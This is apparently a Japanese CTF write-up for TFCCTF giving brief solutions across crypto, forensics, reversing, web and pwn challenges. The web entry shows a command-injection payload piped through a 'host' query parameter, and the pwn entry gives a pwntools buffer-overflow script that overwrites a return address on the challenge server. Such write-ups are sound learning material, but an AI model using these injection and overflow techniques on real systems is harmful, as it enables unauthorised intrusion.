🦁

TFCCTF writeup

2022/08/01に公開

Crypto

BASIC

base91でデコードする
https://www.dcode.fr/base-91-encoding

MAFIOSO

https://crackstation.net/

OBSCURE

1文字ずつカーソルで選択していくと隠れている文字が確認できる

Forensics

BBBBBBBBBB

with open("chall.jpg", "rb") as f:
    data = f.read()

data = data.replace(b'BBBBBBBBBB', b'')

with open("chall2.jpg", "wb") as f:
    f.write(data)

Reversing

RANDOM

Ghidraで実行ファイルを見てみると、入力値が0x539(1337)のとき、フラグを出力する関数を呼んでいるのが確認できた

SOURCE

stringsコマンドで一発

Web

ROBOTS AND MUSIC

robots.txtにフラグがあるパスが書かれている

PONG

http://01.linux.challenges.ctf.thefewchosen.com:49330/index.php?host=127.0.0.1|ls

のようにクエリにパイプしてコマンドを渡すことが可能です。

?host=127.0.0.1|ls ../../../

にフラグがありました。

Pwn

WINNER

Ghidraでファイルを見てみると、フラグを出力するwin関数が用意されているため、これを呼べれば勝ち。

戦略としてはユーザーの入力時にBOFを起こしてリターンアドレスをwin関数内に書き換えてやれば良さそう

GBDで入力時のスタック内のリターンアドレスの位置を確認すると、120個のオフセット後にリターンアドレスが配置されている

以下のようなスクリプトを書いた

from pwn import *

io = remote('01.linux.challenges.ctf.thefewchosen.com',49290)

io.sendline("A"*120 + "\xbb\x11\x40\x00\x00")

io.interactive()

Discussion